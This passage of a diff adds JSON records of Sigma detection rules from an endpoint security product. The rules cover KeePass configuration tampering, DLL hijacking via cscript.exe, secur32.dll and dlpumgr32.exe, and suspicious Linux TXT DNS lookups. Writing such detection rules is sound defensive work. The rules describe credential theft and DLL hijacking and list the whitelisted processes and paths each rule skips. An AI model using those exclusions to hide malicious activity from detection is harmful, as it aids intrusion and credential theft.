+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1021.003",
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "10c34848-23dc-4d3c-a8e7-187197b79a2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621563Z",
+  "creation_date": "2026-03-23T11:45:34.621565Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621569Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.slowerzs.net/posts/thievingfox/",
+    "https://attack.mitre.org/techniques/T1555/005/"
+  ],
+  "name": "t1555_005_keepass_executable_config_write.yml",
+  "content": "title: KeePass Executable Configuration Modified by an External Tool\nid: 10c34848-23dc-4d3c-a8e7-187197b79a2d\ndescription: |\n    Detects a modification of the KeePass.exe.config file that could lead to credential theft.\n    Attackers may modify KeePass' configuration file which defines the behavior of the .NET runtime by switching native function pointers by malicious ones in order to dump the password database.\n    It is recommended to check the file content for any added lines that could indicate a compromise.\nreferences:\n    - https://blog.slowerzs.net/posts/thievingfox/\n    - https://attack.mitre.org/techniques/T1555/005/\ndate: 2024/02/13\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.005\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: file_write\ndetection:\n    selection:\n        Path|endswith: '\\KeePass.exe.config'\n\n    filter_keepass:\n        ProcessOriginalFileName: 'KeePass.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Certum Code Signing 2021 CA'\n            - 'Open Source Developer, Dominik Reichl'\n\n    exclusion_sysytem:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\Program Files\\Microsoft Security Client\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_msiexec:\n        ProcessImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\Syswow64\\msiexec.exe'\n\n    exclusion_explorer:\n        ProcessImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_vsssvc:\n        ProcessImage: '?:\\Windows\\System32\\VSSVC.exe'\n\n    exclusion_7z:\n        ProcessImage|endswith:\n            - '\\7z.exe'\n            - '\\7zG.exe'\n            - '\\7zM.exe'\n            - '\\7zFM.exe'\n        ProcessCompany: 'Igor Pavlov'\n        ProcessDescription:\n            - '7-Zip Console'\n            - '7-Zip GUI'\n            - '7-Zip File Manager'\n\n    exclusion_winrar:\n        ProcessOriginalFileName: 'WinRAR.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'win.rar GmbH'\n\n    exclusion_mcafee:\n        ProcessProcessName:\n            - 'mfeesp.exe'\n            - 'mcshield.exe'\n            - 'mfefw.exe'\n            - 'mfetp.exe'\n            - 'VsTskMgr.exe'\n            - 'Scan64.exe'\n            - 'shstat.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'McAfee, Inc.'\n\n    exclusion_dllhost:\n        # Used when copy file from explorer when UAC is enabled\n        ProcessImage: '?:\\Windows\\system32\\DllHost.exe'\n        ProcessCommandLine: '?:\\Windows\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}'\n\n    exclusion_ivanti:\n        ProcessParentImage: '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistps1.exe'\n\n    # File History Service\n    exclusion_fhsvc:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc'\n\n    exclusion_robocopy:\n        ProcessOriginalFileName: 'robocopy.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "10c34848-23dc-4d3c-a8e7-187197b79a2d",
+  "rule_name": "KeePass Executable Configuration Modified by an External Tool",
+  "rule_description": "Detects a modification of the KeePass.exe.config file that could lead to credential theft.\nAttackers may modify KeePass' configuration file which defines the behavior of the .NET runtime by switching native function pointers by malicious ones in order to dump the password database.\nIt is recommended to check the file content for any added lines that could indicate a compromise.\n",
+  "rule_creation_date": "2024-02-13",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "112484b0-ac5d-40a8-a775-0a918f1aa7f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601524Z",
+  "creation_date": "2026-03-23T11:45:34.601528Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601536Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cscript.yml",
+  "content": "title: DLL Hijacking via cscript.exe\nid: 112484b0-ac5d-40a8-a775-0a918f1aa7f1\ndescription: |\n    Detects potential Windows DLL Hijacking via cscript.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cscript.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "112484b0-ac5d-40a8-a775-0a918f1aa7f1",
+  "rule_name": "DLL Hijacking via cscript.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cscript.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1129f074-5b01-412c-9fae-a3a2a3b01770",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087075Z",
+  "creation_date": "2026-03-23T11:45:34.087078Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087084Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east",
+    "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_secur32.yml",
+  "content": "title: Suspicious secur32.dll Loaded\nid: 1129f074-5b01-412c-9fae-a3a2a3b01770\ndescription: |\n    Detects loading of a suspicious DLL named 'secur32.dll' by a process that could be a target to DLL hijacking.\n    Adversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east\n    - https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/05\nmodified: 2025/10/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\secur32.dll'\n        sha256|contains: '?' # At least one character, some SHA256 are empty\n\n    filter_signed_microsoft:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_commonfolders:\n        ImageLoaded:\n            - '?:\\Windows\\WinSxS\\\\*'\n            - '?:\\Windows\\System32\\secur32.dll'\n            - '?:\\Windows\\syswow64\\secur32.dll'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\secur32.dll'\n            - '*\\docker\\windowsfilter\\\\*\\files\\windows\\syswow64\\secur32.dll'\n            - '*\\docker\\data\\windowsfilter\\\\*\\Files\\Windows\\System32\\secur32.dll'\n            - '*\\docker\\data\\windowsfilter\\\\*\\files\\windows\\syswow64\\secur32.dll'\n            - '?:\\Windows\\SoftwareDistribution\\Download\\\\*\\secur32.dll'\n            - '\\Device\\vmsmb\\VSMB-{????????-????-????-????-????????????}\\os\\windows\\system32\\secur32.dll'\n            - '?:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\secur32.dll'\n\n    exclusion_siemens:\n        ImageLoaded:\n            - '?:\\Program Files (x86)\\Siemens\\UniCam\\UniCam FX\\Secur32.dll'\n            - '?:\\PROGRA~2\\Siemens\\UniCam\\UniCam FX\\Secur32.dll'\n        Image|startswith: '?:\\Program Files (x86)\\Siemens\\UniCam\\UniCam FX\\'\n\n    exclusion_elisath:\n        Image:\n            - '?:\\Elisath\\Gestion\\Gestion.exe'\n            - '?:\\Elisath\\Caisse\\Caisse.exe'\n        ImageLoaded:\n            - '?:\\Elisath\\Gestion\\secur32.dll'\n            - '?:\\Elisath\\Caisse\\secur32.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1129f074-5b01-412c-9fae-a3a2a3b01770",
+  "rule_name": "Suspicious secur32.dll Loaded",
+  "rule_description": "Detects loading of a suspicious DLL named 'secur32.dll' by a process that could be a target to DLL hijacking.\nAdversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-10-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1181e4c8-56a6-49c2-971f-caa5665133a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626425Z",
+  "creation_date": "2026-03-23T11:45:34.626427Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626431Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/004/"
+  ],
+  "name": "t1071_004_suspicious_txt_dns_linux.yml",
+  "content": "title: Suspicious TXT DNS Resolution (Linux)\nid: 1181e4c8-56a6-49c2-971f-caa5665133a3\ndescription: |\n    Detects a suspicious TXT DNS request that could be related to an implant communication.\n    Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n    It is recommended to analyze the process at the origin of the request for malicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1071/004/\ndate: 2024/04/02\nmodified: 2026/01/12\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - classification.Linux.Source.DnsQuery\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    product: linux\n    category: dns_query\ndetection:\n    selection:\n        QueryType: 'TXT'\n        QueryStatusCategory: 'success'\n        TextRecords|contains: '?'\n        ProcessImage|contains: '?'\n\n    filter_mail:\n        TextRecords|contains:\n            - 'v=DKIM1'\n            - 'v=spf1'\n            - 'k=rsa'\n            - 'v=DMARC1'\n            - 'dkim=unknown'\n\n    filter_site_verification:\n        TextRecords|contains:\n            - 'apple-domain-verification='\n            - 'google-site-verification='\n            - 'facebook-domain-verification='\n            - 'adobe-idp-site-verification='\n            - 'MS=ms????????'\n\n    filter_know_requested_name:\n        QueryName:\n            - 'version.bind'\n            - 'hostname.bind'\n\n    filter_know_requested_name_endswith:\n        QueryName|endswith:\n            - '.local'\n            - 'whoami.cloudflare.com'\n            - 'o-o.myaddr.l.google.com'\n            - '.psbl.surriel.com' # Passive spam blocklist\n            - '.cbl.abuseat.org' # The Abuseat CBL (Composite Blocking List)\n            - 'engine._segment._tcp.steelseries.com'\n            - 'config.nos.avast.com.'\n            - 'config.nos.avast.com'\n            - '_nos._tcp.nos.avast.com.'\n            - '_nos._tcp.nos.avast.com'\n            - '.logmein-gateway.com'\n            - 'current.cvd.clamav.net'\n            - '.asn.rspamd.com'\n            - '.asn.cymru.com'\n            - 'secpoll.powerdns.com'\n            - 'wgs.prod.surfshark.com'\n            - 'push.apple.com'\n            - '.pci.id.ucw.cz'\n            - '.sophosxl.net'\n\n    filter_mailer:\n        - ProcessCommandLine|contains:\n            - '/usr/sbin/named'\n            - '/usr/local/sbin/named'\n            - '/usr/sbin/amavisd'\n            - '/usr/sbin/opendkim'\n            - '/usr/sbin/milter-greylist'\n            - '/usr/sbin/opendmarc'\n            - '/usr/sbin/exim4'\n            - 'MailScanner: starting child'\n            - '/usr/bin/perl -U -I /usr/share/MailScanner/perl /usr/sbin/MailScanner /etc/MailScanner/MailScanner.conf'\n            - '/opt/zimbra/common/sbin/amavisd'\n            - 'MailScanner: '       # MailScanner: waiting for messages\n            - '/usr/bin/spamd'\n            - '/usr/bin/perl -T -w /usr/bin/spamd '\n            - '/usr/bin/perl /usr/bin/pmg-smtp-filter'\n            - 'spamd child'\n        - Image:\n            - '/usr/sbin/milter-greylist'\n            - '/usr/lib/postfix/sbin/smtpd'\n            - '/usr/libexec/postfix/smtpd'\n            - '/usr/sbin/named'\n            - '/usr/local/sbin/named'\n            - '/usr/sbin/opendkim'\n            - '/usr/sbin/opendmarc'\n            - '/usr/sbin/exim'\n            - '/usr/sbin/exim4'\n            - '/usr/bin/rspamd'\n\n    filter_dns:\n        Image:\n            - '/usr/sbin/named'\n            - '/lib/systemd/systemd-resolved'\n            - '/usr/lib/systemd/systemd-resolved'\n            - '/usr/sbin/unbound'\n            - '/usr/sbin/pdns_recursor'\n            - '/usr/sbin/squid'\n            - '/usr/sbin/nscd'\n            - '/usr/sbin/dig'\n            - '/usr/bin/dig'\n            - '/usr/local/nessy2/bin/named'\n\n    filter_amazon_ses:\n        # xxx._domainkey.yyy.com , type TXT, redirects through a CNAME to xxx.dkip.amazonses.com\n        QueryName: '????????????????????????????????._domainkey.*'\n        TextRecords: 'p=MI*' # contains a public key\n\n    exclusion_image:\n        ProcessImage:\n            - '/opt/nessus/sbin/nessusd'\n            - '/usr/bin/figal-client'\n            - '/usr/bin/figal-sitename'\n            - '*/rapid7/nexpose/nsc/.DLLCACHE/nexserv'\n            - '/usr/bin/mongorestore'\n            - '/usr/libexec/sssd/sssd_be'\n            - '/usr/sbin/lshw'\n            - '/usr/local/bin/forgejo'\n            - '/usr/libexec/postfix/smtpd'\n            - '/opt/puppetlabs/puppet/bin/ruby'\n            - '/usr/bin/cloudflared'\n            - '/usr/local/bin/cloudflared'\n\n    exclusion_scan:\n        # version.bind\n        TextRecords: 'unbound ?.??.?'\n\n    exclusion_spamcop:\n        TextRecords|startswith: 'Blocked - see https://www.spamcop.net/bl.shtml?'\n\n    exclusion_dkim:\n        TextRecords|contains:\n            - 'p=MIGf'\n            - 'p= MIGf'\n            - 'p=MIIBIj'\n            - 'p= MIIBIj'\n        QueryName|contains: '._domainkey.'\n\n    exclusion_brevo:\n        TextRecords|contains: 'brevo-code:??????????????????????'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1181e4c8-56a6-49c2-971f-caa5665133a3",
+  "rule_name": "Suspicious TXT DNS Resolution (Linux)",
+  "rule_description": "Detects a suspicious TXT DNS request that could be related to an implant communication.\nAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\nIt is recommended to analyze the process at the origin of the request for malicious activities.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2026-01-12",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "118b000d-e5d7-48c7-a7cd-7f89310aa1b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586261Z",
+  "creation_date": "2026-03-23T11:45:34.586266Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586274Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dlpumgr32.yml",
+  "content": "title: DLL Hijacking via dlpumgr32.exe\nid: 118b000d-e5d7-48c7-a7cd-7f89310aa1b9\ndescription: |\n    Detects potential Windows DLL Hijacking via the DESlock+ User Manager executable dlpumgr32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate executable to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dlpumgr32.exe'\n        ProcessSignature: 'DESlock Limited'\n        ImageLoaded|endswith: '\\dlpprem32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\ESET\\'\n            - '?:\\Program Files (x86)\\ESET\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\ESET\\'\n            - '?:\\Program Files (x86)\\ESET\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'DESlock Limited'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "118b000d-e5d7-48c7-a7cd-7f89310aa1b9",
+  "rule_name": "DLL Hijacking via dlpumgr32.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the DESlock+ User Manager executable dlpumgr32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate executable to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "118fe9fa-f27d-4da6-bee4-85f73fe9c76c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071551Z",
+  "creation_date": "2026-03-23T11:45:34.071553Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071558Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1564_pe_written_suspicious_location.yml",
